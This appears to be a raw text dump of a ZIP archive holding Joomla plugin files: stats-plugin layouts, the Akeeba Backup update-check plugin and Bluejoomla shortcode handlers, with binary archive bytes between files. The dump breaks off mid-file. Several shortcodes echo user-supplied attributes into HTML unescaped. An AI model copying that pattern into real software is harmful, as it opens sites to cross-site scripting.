				<button type="button" class="btn btn-primary js-pstats-btn-allow-always"><?php echo Text::_('PLG_SYSTEM_STATS_BTN_SEND_ALWAYS'); ?></button>
				<button type="button" class="btn btn-primary js-pstats-btn-allow-once"><?php echo Text::_('PLG_SYSTEM_STATS_BTN_SEND_NOW'); ?></button>
				<button type="button" class="btn btn-primary js-pstats-btn-allow-never"><?php echo Text::_('PLG_SYSTEM_STATS_BTN_NEVER_SEND'); ?></button>
			</p>
		</div>
	</div>
</joomla-alert>
PK!3*

stats/layouts/field/data.phpnu&1i�<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.stats
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = Factory::getApplication()->getDocument()->getWebAssetManager();
$wa->registerAndUseScript('plg_system_stats.stats', 'plg_system_stats/stats.js', [], ['defer' => true], ['core']);

extract($displayData);

/**
 * Layout variables
 * -----------------
 * @var   string   $autocomplete    Autocomplete attribute for the field.
 * @var   boolean  $autofocus       Is autofocus enabled?
 * @var   string   $class           Classes for the input.
 * @var   string   $description     Description of the field.
 * @var   boolean  $disabled        Is this field disabled?
 * @var   string   $group           Group the field belongs to. <fields> section in form XML.
 * @var   boolean  $hidden          Is this field hidden in the form?
 * @var   string   $hint            Placeholder for the field.
 * @var   string   $id              DOM id of the field.
 * @var   string   $label           Label of the field.
 * @var   string   $labelclass      Classes to apply to the label.
 * @var   boolean  $multiple        Does this field support multiple values?
 * @var   string   $name            Name of the input field.
 * @var   string   $onchange        Onchange attribute for the field.
 * @var   string   $onclick         Onclick attribute for the field.
 * @var   string   $pattern         Pattern (Reg Ex) of value of the form field.
 * @var   boolean  $readonly        Is this field read only?
 * @var   boolean  $repeat          Allows extensions to duplicate elements.
 * @var   boolean  $required        Is this field required?
 * @var   integer  $size            Size attribute of the input.
 * @var   boolean  $spellcheck      Spellcheck state for the form field.
 * @var   string   $validate        Validation rules to apply.
 * @var   string   $value           Value attribute of the field.
 * @var   array    $options         Options available for this field.
 * @var   array    $statsData       Statistics that will be sent to the stats server
 */
?>
<?php if (count($statsData)): ?>
	<a href="#" id="js-pstats-data-details-toggler"><?php echo Text::_('PLG_SYSTEM_STATS_MSG_WHAT_DATA_WILL_BE_SENT'); ?></a>
	<?php echo $field->render('stats', compact('statsData')); ?>
<?php endif; ?>
PK!����� stats/layouts/field/uniqueid.phpnu&1i�<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.stats
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;

extract($displayData);

/**
 * Layout variables
 * -----------------
 * @var   string   $autocomplete    Autocomplete attribute for the field.
 * @var   boolean  $autofocus       Is autofocus enabled?
 * @var   string   $class           Classes for the input.
 * @var   string   $description     Description of the field.
 * @var   boolean  $disabled        Is this field disabled?
 * @var   string   $group           Group the field belongs to. <fields> section in form XML.
 * @var   boolean  $hidden          Is this field hidden in the form?
 * @var   string   $hint            Placeholder for the field.
 * @var   string   $id              DOM id of the field.
 * @var   string   $label           Label of the field.
 * @var   string   $labelclass      Classes to apply to the label.
 * @var   boolean  $multiple        Does this field support multiple values?
 * @var   string   $name            Name of the input field.
 * @var   string   $onchange        Onchange attribute for the field.
 * @var   string   $onclick         Onclick attribute for the field.
 * @var   string   $pattern         Pattern (Reg Ex) of value of the form field.
 * @var   boolean  $readonly        Is this field read only?
 * @var   boolean  $repeat          Allows extensions to duplicate elements.
 * @var   boolean  $required        Is this field required?
 * @var   integer  $size            Size attribute of the input.
 * @var   boolean  $spellcheck      Spellcheck state for the form field.
 * @var   string   $validate        Validation rules to apply.
 * @var   string   $value           Value attribute of the field.
 * @var   array    $options         Options available for this field.
 */
?>
<input type="hidden" name="<?php echo $name; ?>" id="<?php echo $id; ?>" value="<?php echo htmlspecialchars($value, ENT_QUOTES, 'UTF-8'); ?>">
<button class="btn btn-secondary" type="button" id="js-pstats-reset-uid">
	<span class="icon-sync"></span> <?php echo Text::_('PLG_SYSTEM_STATS_RESET_UNIQUE_ID'); ?>
</button>
PK!���p��'akeebaupdatecheck/akeebaupdatecheck.phpnu&1i�<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2019 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

use FOF30\Date\Date;

defined('_JEXEC') or die();

// PHP version check
if (!version_compare(PHP_VERSION, '5.6.0', '>='))
{
	return;
}

JLoader::import('joomla.application.plugin');

class plgSystemAkeebaupdatecheck extends JPlugin
{
	/**
	 * Constructor
	 *
	 * @param       object $subject The object to observe
	 * @param       array  $config  An array that holds the plugin configuration
	 *
	 * @since       2.5
	 */
	public function __construct(& $subject, $config)
	{
		/**
		 * I know that this piece of code cannot possibly be executed since I have already returned BEFORE declaring
		 * the class when eAccelerator is detected. However, eAccelerator is a GINORMOUS, STINKY PILE OF BULL CRAP. The
		 * stupid thing will return above BUT it will also declare the class EVEN THOUGH according to how PHP works
		 * this part of the code should be unreachable o_O Therefore I have to define this constant and exit the
		 * constructor when we have already determined that this class MUST NOT be defined. Because screw you
		 * eAccelerator, that's why.
		 */
		if (defined('AKEEBA_EACCELERATOR_IS_SO_BORKED_IT_DOES_NOT_EVEN_RETURN'))
		{
			return;
		}

		parent::__construct($subject, $config);
	}

	public function onAfterInitialise()
	{
		// Make sure Akeeba Backup is installed
		if (!file_exists(JPATH_ADMINISTRATOR . '/components/com_akeeba'))
		{
			return;
		}

		// Make sure Akeeba Backup is enabled
		JLoader::import('joomla.application.component.helper');

		if ( !JComponentHelper::isEnabled('com_akeeba'))
		{
			return;
		}

		// Load FOF. Required for the Date class.
		if (!defined('FOF30_INCLUDED') && !@include_once(JPATH_LIBRARIES . '/fof30/include.php'))
		{
			throw new RuntimeException('FOF 3.0 is not installed', 500);
		}

		// Do we have to run (at most once per 3 hours)?
		JLoader::import('joomla.html.parameter');
		JLoader::import('joomla.application.component.helper');

		$db = JFactory::getDbo();

		$query = $db->getQuery(true)
		            ->select($db->qn('lastupdate'))
		            ->from($db->qn('#__ak_storage'))
		            ->where($db->qn('tag') . ' = ' . $db->q('akeebaupdatecheck_lastrun'));

		$last = $db->setQuery($query)->loadResult();

		if (intval($last))
		{
			$last = new Date($last);
			$last = $last->toUnix();
		}
		else
		{
			$last = 0;
		}

		$now = time();

		if (!defined('AKEEBAUPDATECHECK_DEBUG') && (abs($now - $last) < 86400))
		{
			return;
		}

		// Use a 20% chance of running; this allows multiple concurrent page
		// requests to not cause double update emails being sent out.
		$random = rand(1, 5);

		if (!defined('AKEEBAUPDATECHECK_DEBUG') && ($random != 3))
		{
			return;
		}

		$now = new Date($now);

		// Update last run status
		// If I have the time of the last run, I can update, otherwise insert
		if ($last)
		{
			$query = $db->getQuery(true)
			            ->update($db->qn('#__ak_storage'))
			            ->set($db->qn('lastupdate') . ' = ' . $db->q($now->toSql()))
			            ->where($db->qn('tag') . ' = ' . $db->q('akeebaupdatecheck_lastrun'));
		}
		else
		{
			$query = $db->getQuery(true)
			            ->insert($db->qn('#__ak_storage'))
			            ->columns(array($db->qn('tag'), $db->qn('lastupdate')))
			            ->values($db->q('akeebaupdatecheck_lastrun') . ', ' . $db->q($now->toSql()));
		}

		try
		{
			$result = $db->setQuery($query)->execute();
		}
		catch (Exception $exc)
		{
			$result = false;
		}

		if (!$result)
		{
			return;
		}

		// Load the container
		$container = FOF30\Container\Container::getInstance('com_akeeba');

		/** @var \Akeeba\Backup\Admin\Model\Updates $model */
		$model = $container->factory->model('Updates')->tmpInstance();
		$updateInfo = $model->getUpdates();

		if (!$updateInfo['hasUpdate'])
		{
			return;
		}

		$superAdmins     = array();
		$superAdminEmail = $this->params->get('email', '');

		if (!empty($superAdminEmail))
		{
			$superAdmins = $this->getSuperUsers($superAdminEmail);
		}

		if (empty($superAdmins))
		{
			$superAdmins = $this->getSuperUsers();
		}

		if (empty($superAdmins))
		{
			return;
		}

		foreach ($superAdmins as $sa)
		{
			$model->sendNotificationEmail($updateInfo['version'], $sa->email);
		}
	}

	/**
	 * Returns the Super Users' email information. If you provide a comma separated $email list we will check that these
	 * emails do belong to Super Users and that they have not blocked reception of system emails.
	 *
	 * @param   null|string  $email  A list of Super Users to email
	 *
	 * @return  array  The list of Super User emails
	 */
	private function getSuperUsers($email = null)
	{
		// Get a reference to the database object
		$db = JFactory::getDbo();

		// Convert the email list to an array
		if (!empty($email))
		{
			$temp = explode(',', $email);
			$emails = array();

			foreach ($temp as $entry)
			{
				$entry = trim($entry);
				$emails[] = $db->q($entry);
			}

			$emails = array_unique($emails);
		}
		else
		{
			$emails = array();
		}

		// Get a list of groups which have Super User privileges
		$ret = array();

		// Get a list of groups with core.admin (Super User) permissions
		try
		{
			$query = $db->getQuery(true)
						->select($db->qn('rules'))
						->from($db->qn('#__assets'))
						->where($db->qn('parent_id') . ' = ' . $db->q(0));
			$db->setQuery($query, 0, 1);
			$rulesJSON	 = $db->loadResult();
			$rules		 = json_decode($rulesJSON, true);

			$rawGroups = $rules['core.admin'];
			$groups = array();

			if (empty($rawGroups))
			{
				return $ret;
			}

			foreach ($rawGroups as $g => $enabled)
			{
				if ($enabled)
				{
					$groups[] = $db->q($g);
				}
			}

			if (empty($groups))
			{
				return $ret;
			}
		}
		catch (Exception $exc)
		{
			return $ret;
		}

		// Get the user IDs of users belonging to the groups with the core.admin (Super User) privilege
		try
		{
			$query = $db->getQuery(true)
						->select($db->qn('user_id'))
						->from($db->qn('#__user_usergroup_map'))
						->where($db->qn('group_id') . ' IN(' . implode(',', $groups) . ')' );
			$db->setQuery($query);
			$rawUserIDs = $db->loadColumn(0);

			if (empty($rawUserIDs))
			{
				return $ret;
			}

			$userIDs = array();

			foreach ($rawUserIDs as $id)
			{
				$userIDs[] = $db->q($id);
			}
		}
		catch (Exception $exc)
		{
			return $ret;
		}

		// Get the user information for the Super Users
		try
		{
			$query = $db->getQuery(true)
						->select(array(
							$db->qn('id'),
							$db->qn('username'),
							$db->qn('email'),
						))->from($db->qn('#__users'))
						->where($db->qn('id') . ' IN(' . implode(',', $userIDs) . ')')
						->where($db->qn('sendEmail') . ' = ' . $db->q('1'));

			if (!empty($emails))
			{
				$query->where($db->qn('email') . 'IN(' . implode(',', $emails) . ')');
			}

			$db->setQuery($query);
			$ret = $db->loadObjectList();
		}
		catch (Exception $exc)
		{
			return $ret;
		}

		return $ret;
	}
}
PK!
jW(��'akeebaupdatecheck/akeebaupdatecheck.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<!--
  ~ @package   akeebabackup
  ~ @copyright Copyright (c)2006-2019 Nicholas K. Dionysopoulos / Akeeba Ltd
  ~ @license   GNU General Public License version 3, or later
  -->

<extension version="2.5.0" type="plugin" group="system" method="upgrade">
	<name>PLG_SYSTEM_AKEEBAUPDATECHECK</name>
	<author>Nicholas K. Dionysopoulos</author>
	<authorEmail>nicholas@dionysopoulos.me</authorEmail>
	<authorUrl>http://www.akeebabackup.com</authorUrl>
	<copyright>Copyright (c)2006-2019 Nicholas K. Dionysopoulos</copyright>
	<license>GNU General Public License version 3, or later</license>
	<creationDate>2019-03-18</creationDate>
	<version>6.4.2.1</version>
	<description>PLG_AKEEBAUPDATECHECK_XML_DESCRIPTION</description>
	<files>
		<filename plugin="akeebaupdatecheck">akeebaupdatecheck.php</filename>
		<filename>.htaccess</filename>
		<filename>web.config</filename>
	</files>
	<languages folder="language">
		<language tag="en-GB">en-GB/en-GB.plg_system_akeebaupdatecheck.ini</language>
		<language tag="en-GB">en-GB/en-GB.plg_system_akeebaupdatecheck.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field name="email" type="text" default="" size="40" label="PLG_SYSTEM_AKEEBAUPDATECHECK_EMAIL_LBL" description="PLG_SYSTEM_AKEEBAUPDATECHECK_EMAIL_DESC" />
			</fieldset>
		</fields>
	</config>

	<scriptfile>script.php</scriptfile>
</extension>PK!|��Nakeebaupdatecheck/web.confignu&1i�<?xml version="1.0"?>
<!--
    This only works on IIS 7 or later. See https://www.iis.net/configreference/system.webserver/security/requestfiltering/fileextensions
-->
<configuration>
    <system.webServer>
        <security>
            <requestFiltering>
                <fileExtensions allowUnlisted="false" >
                    <clear />
                    <add fileExtension=".html" allowed="true"/>
                </fileExtensions>
            </requestFiltering>
        </security>
    </system.webServer>
</configuration>PK!�թ���akeebaupdatecheck/script.phpnu&1i�<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2019 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

defined('_JEXEC') or die;

// Load FOF if not already loaded
if (!defined('FOF30_INCLUDED') && !@include_once(JPATH_LIBRARIES . '/fof30/include.php'))
{
	throw new RuntimeException('This extension requires FOF 3.0.');
}

class plgSystemAkeebaupdatecheckInstallerScript extends FOF30\Utils\InstallScript\Plugin
{
}
PK!⡶��#bluejoomla/shortcodes/portfolio.phpnu&1i�<?php
/**
* @author Bluejoomla 
* @date: 01-04-2014
*
* @copyright  Copyright (C) 2013 Bluejoomla.com . All rights reserved.
* @license    GNU General Public License version 2 or later; see LICENSE
*/
//no direct accees
defined ('_JEXEC') or die('resticted aceess');

//[portfolio]
if(!function_exists('portfolio_sc')) {
	$portfolioArray = array();
	function portfolio_sc( $atts, $content="" ){
		global $portfolioArray;
		
		$params = shortcode_atts(array(
			  'image' => '',
			  'title' => '',
              'popup'=>'',
              'popup_video'=>'',
		 ), $atts);
		if($params["popup_video"]){
			$params["popup"] = $params["popup_video"];
			$fancyboxClass = 'fancybox-media';
		} else {
			$params["popup"] = JUri::root() .$params["popup"];
			$fancyboxClass = 'fancybox';
		}
        $html = '
        	<div class="wrap-col">
				<div class="item-container"> 
					<a class="' .$fancyboxClass .' overlay text-center" data-fancybox-group="gallery" href="'.$params["popup"] .'">
						<div class="overlay-inner">
							<h4 class="base"> '.$params["title"] .'</h4>
							<div class="line"></div>
							<div class="desc">' .btdo_shortcode( $content ) .'</div>
						</div>
					</a>
					<img src="' .JUri::root() .$params["image"] .'" alt=" '.$params["title"] .'"/> 
				</div>
            </div>';
		return $html;
	}	
	btadd_shortcode( 'portfolio', 'portfolio_sc' );				
}PK!t�6�##bluejoomla/shortcodes/tabs.phpnu&1i�<?php
/**
* @author Bluejoomla 
* @date: 01-04-2014
*
* @copyright  Copyright (C) 2013 shinetheme.com . All rights reserved.
* @license    GNU General Public License version 2 or later; see LICENSE
*/
//no direct accees
defined ('_JEXEC') or die('resticted aceess');
	
//[Tab]
if(!function_exists('tab_sc')) {
	$tabArray = array();
	function tab_sc( $atts, $content="" ){
		global $tabArray;
		
		$params = btshortcode_atts(array(
			  'id' => 'tab',
			  'class'=>'',
              'direction'=>'vertical',
              'title'=>''
		 ), $atts);
		$rand = rand(0,9999999);
		btdo_shortcode( $content );
        if ($params['direction'] == 'vertical'){
            $return = '<div class="row m0 leftAlignedTap">';
    	    
    		//Tab Title
    		$return .='<ul class="nav nav-tabs" role="tablist"  id="'.$rand . $params['id'] . '">';
    		foreach ($tabArray as $key=>$tab) {
    			$return .='<li  role="presentation" class="'. ( ($key== 0) ? "active" : "").'">
                <a href="#'.$rand. $params['id']  . '-' . $key.'"  aria-controls="#'.$rand. $params['id']  . '-' . $key.'" role="tab" data-toggle="tab">
                <i class="fa '.$tab['icon_name'].'"></i>
                '. $tab['title'] .'
                </a></li>';
    		     
            }
    		$return .='</ul>';
    		
    		//Tab Content
    		$return .='<div class="tab-content">';
    		foreach ($tabArray as $key=>$tab) {
    			$return .='<div  role="tabpanel" class="tab-pane '. ( (($key)==0) ? " active" : "").'" 
                                id="'.$rand. $params['id'] . '-' . $key.'">
                        '. btdo_shortcode($tab['content']) 
                        .'</div>';
                
             }
    		$return .='</div>';
    		$return .='</div>';
        }else{
            $return = '<div class="row getInTouch_tab m0">';
    	
    		//Tab Title
    		$return .='<ul class="nav nav-tabs nav-justified" role="tablist" id="getInTouch_tab">';
    		foreach ($tabArray as $key=>$tab) {
    			$return .='<li  role="presentation" class="'. ( ($key== 0) ? "active" : "").'">
                <a href="#v'.$rand. $params['id']  . '-' . $key.'"  aria-controls="v'.$rand. $params['id']  . '-' . $key.'" role="tab" data-toggle="tab">
                <i class="fa '.$tab['icon_name'].'"></i>
                '. $tab['title'] .'
                </a></li>';
    		     
            }
    		$return .='</ul>';
    		
    		//Tab Content
    		$return .='<div class="tab-content">';
    		foreach ($tabArray as $key=>$tab) {
    			$return .='<div  role="tabpanel" class="tab-pane'. ( (($key)==0) ? " active" : "").'" 
                                id="v'.$rand. $params['id'] . '-' . $key.'">
                        '. btdo_shortcode($tab['content']) 
                        .'</div>';
                
             }
    		$return .='</div>';
    		$return .='</div>';
        }
		
		
		$tabArray = array();
		return $return;
	}
	btadd_shortcode( 'tab', 'tab_sc' );
	
	//Tab Items
	function tab_item_sc( $atts, $content="" ){
		global $tabArray;
		$tabArray[] = array('title'=>$atts['title'],
              'icon_name'=>$atts['icon_name'], 'content'=>$content);
	}

	btadd_shortcode( 'tab_item', 'tab_item_sc' );	
    
    function st_module_func($atts, $content="" ){
                $mod_position = $content;
                jimport( 'joomla.application.module.helper' );
                $new_modules = JModuleHelper::getModules($mod_position);
                $attribs['style'] = 'xhtml';
				if (count(JModuleHelper::getModules($mod_position))){
				    $mod_content = JModuleHelper::renderModule($new_modules[0], $attribs);
                    return (string)$mod_content;
				}
                       
    }
    btadd_shortcode( 'st_module', 'st_module_func' );	
}PK!���b��!bluejoomla/shortcodes/dropcap.phpnu&1i�<?php
/**
* @author Bluejoomla 
* @date: 01-04-2014
*
* @copyright  Copyright (C) 2013 shinetheme.com . All rights reserved.
* @license    GNU General Public License version 2 or later; see LICENSE
*/
//no direct accees
defined ('_JEXEC') or die('resticted aceess');

//[dropcap]
if(!function_exists('dropcap_sc')){
	function dropcap_sc($atts, $content=''){
        return '<span class="dropcap">'.$content.'</span>';
    }
	add_shortcode('dropcap','dropcap_sc');

}
PK!�33��	�	!bluejoomla/shortcodes/minimal.phpnu&1i�<?php
/**
* @author Bluejoomla 
* @date: 01-04-2014
*
* @copyright  Copyright (C) 2013 Bluejoomla.com . All rights reserved.
* @license    GNU General Public License version 2 or later; see LICENSE
*/
//no direct accees
defined ('_JEXEC') or die('resticted aceess');

//[minimal_portfolio]
if(!function_exists('minimal_portfolio_sc')) {
	function minimal_portfolio_sc( $atts, $content="" ){
		$params = shortcode_atts(array(
			  'style' => '1',
		), $atts);

		$doc = JFactory::getDocument();

		$doc->addScript(JUri::root() .'templates/nayax/js/jquery.fancybox.js');
		$doc->addScript(JUri::root() .'templates/nayax/js/jquery.fancybox-media.js'); 
		$doc->addScript(JUri::root() .'templates/nayax/js/jquery.fancybox-thumbs.js');  
		
		$doc->addStyleSheet(JUri::root() .'templates/nayax/css/jquery.fancybox.css');
		$doc->addStyleSheet(JUri::root() .'templates/nayax/css/jquery.fancybox-thumbs.css');
		

		$html = '<div id="minimal-portfolio" class="zerogrid minimal-portfolio">
						<div class="wrap-container">
							<div class="row wrap-content clearfix">
								' .btdo_shortcode( $content )
							.'</div>
						</div>
					</div>';
        
		return $html;
	}
	
	btadd_shortcode( 'minimal_portfolio', 'minimal_portfolio_sc' );
				
}

//[minimal_portfolio]
if(!function_exists('minimal_portfolio_item_sc')) {
	$minimal_portfolioArray = array();
	function minimal_portfolio_item_sc( $atts, $content="" ){
		$params = shortcode_atts(array(
		    'class' => 'col-1-3',
		    'image' => '',
		    'popup'  => '',
		    'title' => '',
		    'subtitle' => '',
		), $atts);

		$params["image"] = JUri::root() .$params["image"];
		if( $params["popup"] == '' ){
			$params["popup"] = $params["image"];
		}
		$html = '<div class="' .$params["class"] .'">
		            <div class="wrap-col">
		              	<div class="item-container effect-sadie">
		                	<img alt="work" src="' .$params["image"] .'"> 
		                	<a rel="fancybox-thumb" href="' .$params["popup"] .'" class="fancybox-thumb overlay">
								<div class="overlay-inner">
		                      		<h4>' .$params["title"] .'</h4>
		                       		<p>' .$params["subtitle"] .'</p>
		                     	</div>
							</a>
		                </div>
		            </div>
		         </div>';
		return $html;
	}
	
	btadd_shortcode( 'minimal_portfolio_item', 'minimal_portfolio_item_sc' );
				
}PK!���BBbluejoomla/shortcodes/skill.phpnu&1i�<?php
/**
* @author Bluejoomla 
* @date: 01-04-2014
*
* @copyright  Copyright (C) 2013 Bluejoomla.com . All rights reserved.
* @license    GNU General Public License version 2 or later; see LICENSE
*/
//no direct accees
defined ('_JEXEC') or die('resticted aceess');

//[skill]
if(!function_exists('skill_sc')) {
	$skillArray = array();
	function skill_sc( $atts, $content="" ){
		global $skillArray;
		
		$params = shortcode_atts(array(
			  'class' => 'blue',
              'title'=>'',
              'percent'=>0
		 ), $atts);
         $html = '
         		<div class="counters-item '.$params['class'].' row"> <strong data-to="'.$params['percent'].'">0</strong>
		        	<p>' .btdo_shortcode( $content ) .'</p>
		        </div>';
		return $html;
	}
	
	btadd_shortcode( 'skill', 'skill_sc' );
				
}PK!�}���bluejoomla/shortcodes/map.phpnu&1i�<?php
/**
* @author Bluejoomla 
* @date: 01-04-2014
*
* @copyright  Copyright (C) 2013 shinetheme.com . All rights reserved.
* @license    GNU General Public License version 2 or later; see LICENSE
*/
//no direct accees
defined ('_JEXEC') or die('resticted aceess');
	
//[Map]
if(!function_exists('map_func')) {
	function map_func( $atts, $content="" ){
		
			extract(shortcode_atts(array(
				  'address' => '',
				  'width'=>'100%',
				  'height' => '400',
				  'zoom' => 14
			 ), $atts));
            $replaces = array(' '=>'+');
			$address = strtr($address,$replaces);
            $prepAddr = str_replace(' ','+',$address);
 
            $geocode=file_get_contents('http://maps.google.com/maps/api/geocode/json?address='.$prepAddr.'&sensor=false');
             
            $output= json_decode($geocode);
            $lat = $output->results[0]->geometry->location->lat;
            $long = $output->results[0]->geometry->location->lng;
			ob_start();
			?>
			
			
			<div class="google-maps">
            </div>
            <script type='text/javascript' src="<?php echo JURI::base(true); ?>/templates/coyote/js/vendor/jquery-1.8.3.min.js"></script>

			<script type="text/javascript">
            
        	jQuery('.google-maps').gmap({
        		zoom: <?php echo $zoom ?>,
        		center: <?php echo "'".$lat.', '.$long."'"; ?>
        	});
            </script>	
			<?php
			
			$data = ob_get_clean();
			return $data;
	}
	add_shortcode( 'stmap', 'map_func' );
}PK![4{�bluejoomla/shortcodes/alert.phpnu&1i�<?php
/**
* @author Bluejoomla 
* @date: 01-04-2014
*
* @copyright  Copyright (C) 2013 shinetheme.com . All rights reserved.
* @license    GNU General Public License version 2 or later; see LICENSE
*/
//no direct accees
defined ('_JEXEC') or die('resticted aceess');

//[alert]
if(!function_exists('alert_sc')){
	function alert_sc($atts, $content=''){
		 extract(shortcode_atts(array(
        "type" => '',
        "close" => true
     ), $atts));
     $close_html = '';
     if ($close) $close_html = '<a class="close" data-dismiss="alert">×</a>';
     return '<div class="alert alert-' .strtolower($type) . '">'.$close_html.'<h4 style="text-transform: capitalize;">'.$type.'</h4>' . do_shortcode( $content ) . '</div>';
	}
	add_shortcode('alert','alert_sc');
}

PK! bluejoomla/shortcodes/index.htmlnu&1i�PK!�+O�

#bluejoomla/shortcodes/accordion.phpnu&1i�<?php
/**
* @author Bluejoomla 
* @date: 01-04-2014
*
* @copyright  Copyright (C) 2013 shinetheme.com . All rights reserved.
* @license    GNU General Public License version 2 or later; see LICENSE
*/
//no direct accees
defined ('_JEXEC') or die('resticted aceess');

//[Accordion]
if(!function_exists('accordion_sc')) {
	$accordionArray = array();
	function accordion_sc( $atts, $content="" ){
		global $accordionArray;
		
		$params = btshortcode_atts(array(
               'id' => 'accordion',
               'title'=>'',
               'desc' =>''
		 ), $atts);
		
		btdo_shortcode( $content );
        $rand = rand(99,999);
        $return = '';
        $return .= '<div class="panel-group" id="hAccordion" role="tablist" aria-multiselectable="true">';
        //Accordions
        foreach ($accordionArray as $key=>$accordion) {
            $active="";
            $collapsed = "collapsed";
            if ($key == 0) {$active=" in ";$collapsed = "";}
        	$return .= '<div class="panel panel-default">
                            <div class="panel-heading" role="tab" id="headingOne">
                                <h4 class="panel-title">
                                    <a class="'.$collapsed.'" data-toggle="collapse" data-parent="#hAccordion" href="#acco'.$rand.$key.'" aria-expanded="true" aria-controls="collapse1">
                                        <i class="fa '.$accordion['icon_name'].'"></i>'.$accordion['title'].'<span class="sign fa"></span>
                                    </a>
                                </h4>
                            </div>
                            <div id="acco'.$rand.$key.'" class="panel-collapse collapse '.$active.'" role="tabpanel" aria-labelledby="headingOne">
                                <div class="panel-body">
                                    '.btdo_shortcode($accordion['content']).'
                                </div>
                            </div>
                        </div> <!--hAccordion No #1--> 
                       ';
            
        	
        }
        
        
        $return .='</div>';        
        
        $accordionArray = array();	
        return $return;
	}
	
	btadd_shortcode( 'accordion', 'accordion_sc' );
		
	//Accordion Items
	function accordion_item_sc( $atts, $content="" ){
		global $accordionArray;
		$accordionArray[] = array('title'=>$atts['title'],'icon_name'=>$atts['icon_name'], 'content'=>$content);
	}

	btadd_shortcode( 'accordion_item', 'accordion_item_sc' );			
}PK!���%bluejoomla/shortcodes/testinomial.phpnu&1i�<?php
/**
* @author Bluejoomla 
* @date: 01-04-2014
*
* @copyright  Copyright (C) 2013 Bluejoomla.com . All rights reserved.
* @license    GNU General Public License version 2 or later; see LICENSE
*/
//no direct accees
defined ('_JEXEC') or die('resticted aceess');

//[testinomial]
if(!function_exists('testinomial_sc')) {
	function testinomial_sc( $atts, $content="" ){

		$params = shortcode_atts(array(
			  'style' => '1',
		 ), $atts);

		if( $params['style'] == '2' ){
			$html = '<div id="testinomial-indexTwo" class="owl-carousel">' .btdo_shortcode( $content ) .'</div>';
		} elseif( $params['style'] == '3' ){
			$html = '<div id="testinomial-indexFour" class="owl-carousel">' .btdo_shortcode( $content ) .'</div>';
		} else {
			$html = '<div id="testinomial-slider" class="owl-carousel">' .btdo_shortcode( $content ) .'</div>';
		}
        
		return $html;
	}
	
	btadd_shortcode( 'testinomial', 'testinomial_sc' );
				
}

//[testinomial]
if(!function_exists('testinomial_item_sc')) {
	$testinomialArray = array();
	function testinomial_item_sc( $atts, $content="" ){
         $html = '<div class="item">' .btdo_shortcode( $content ) .'</div>';
		return $html;
	}
	
	btadd_shortcode( 'testinomial_item', 'testinomial_item_sc' );
				
}PK!Vt� bluejoomla/shortcodes/button.phpnu&1i�<?php
/**
* @author Bluejoomla 
* @date: 01-04-2014
*
* @copyright  Copyright (C) 2013 shinetheme.com . All rights reserved.
* @license    GNU General Public License version 2 or later; see LICENSE
*/
//no direct accees
defined ('_JEXEC') or die('resticted aceess');

//[button type="primary" size="large" link="" trget=""]
if(!function_exists('button_func')){
	function button_func($atts, $content='') {
		extract(shortcode_atts(array(
					"type" => '',
					"size" => '',
					"link" => '',
                    "color" =>'',
					"target"=>'',
                    "label"=>''
				), $atts));
		return '<a href="' . $link . '" class="button ' . $type . ' ' . $size .' '.$color. '">' .  $label  . '</a>';
	}
	add_shortcode('button', 'button_func');
}PK!W�%!jj"bluejoomla/shortcodes/carousel.phpnu&1i�<?php
/**
* @author Bluejoomla 
* @date: 01-04-2014
*
* @copyright  Copyright (C) 2013 Bluejoomla.com . All rights reserved.
* @license    GNU General Public License version 2 or later; see LICENSE
*/
//no direct accees
defined ('_JEXEC') or die('resticted aceess');

//[testinomial]
if(!function_exists('revolution_sc')) {
	function revolution_sc( $atts, $content="" ){
		$params = shortcode_atts(array(
			  'style' => '1',
		 ), $atts);
		$doc = JFactory::getDocument();
		$doc->addScript(JUri::root() .'plugins/system/bluejoomla/js/jquery.themepunch.tools.min.js');
		$doc->addScript(JUri::root() .'plugins/system/bluejoomla/js/jquery.themepunch.revolution.min.js');
		$script = '	jQuery( document ).ready(function($) {
						$(".fullscreenbanner").revolution({
							delay:15000,
							startwidth:1170,
							startheight:500,
							hideThumbs:10,
							fullWidth:"off",
							fullScreen:"on",
							shadow:0,
							dottedOverlay:"none",
							fullScreenOffsetContainer: ""      
					 	});
					});';

		$html = '<div class="blue-revolution tp-banner-container">
				    <div class="fullscreenbanner tp-banner">      
				     	<ul>' .btdo_shortcode( $content );
  		$html .= '		</ul>
  					</div>
  				</div>';
  		$html .= '<script type="text/javascript">' .$script .'</script>';
		return $html;
	}	
	btadd_shortcode( 'revolution', 'revolution_sc' );				
}

//[revolution]
if(!function_exists('revolution_item_sc')) {
	$testinomialArray = array();
	function revolution_item_sc( $atts, $content="" ){
		$params = shortcode_atts(array(
			  'video_mp4' => '',
			  'video_webm' => '',
			  'video_ogv' => '',
			  'layer1' => '',
			  'layer2' => '',
			  'layer3' => '',
		 ), $atts);

		$html = '<li data-transition="slidehorizontal" data-slotamount="7" data-masterspeed="1000"  data-fstransition="fade" data-fsmasterspeed="1000" data-fsslotamount="7">
					<!-- MAIN IMAGE -->
					<img src="' .JUri::root() .'images/video/thumb.jpg"  alt="video slide"  data-bgposition="center center" data-bgfit="cover" data-bgrepeat="no-repeat">
					<!-- LAYERS -->

					<!-- LAYER NR. 1 -->
					<div class="tp-caption tp-fade fadeout fullscreenvideo"
						data-x="0"
						data-y="0"
						data-speed="1000"
						data-start="1100"
						data-easing="Power4.easeOut"
						data-endspeed="1500"
						data-endeasing="Power4.easeIn"
						data-autoplay="true"
						data-autoplayonlyfirsttime="false"
						data-nextslideatend="true"
						data-forceCover="1"
						data-dottedoverlay="twoxtwo"
						data-aspectratio="16:9"
						data-forcerewind="on"
						style="z-index: 2">


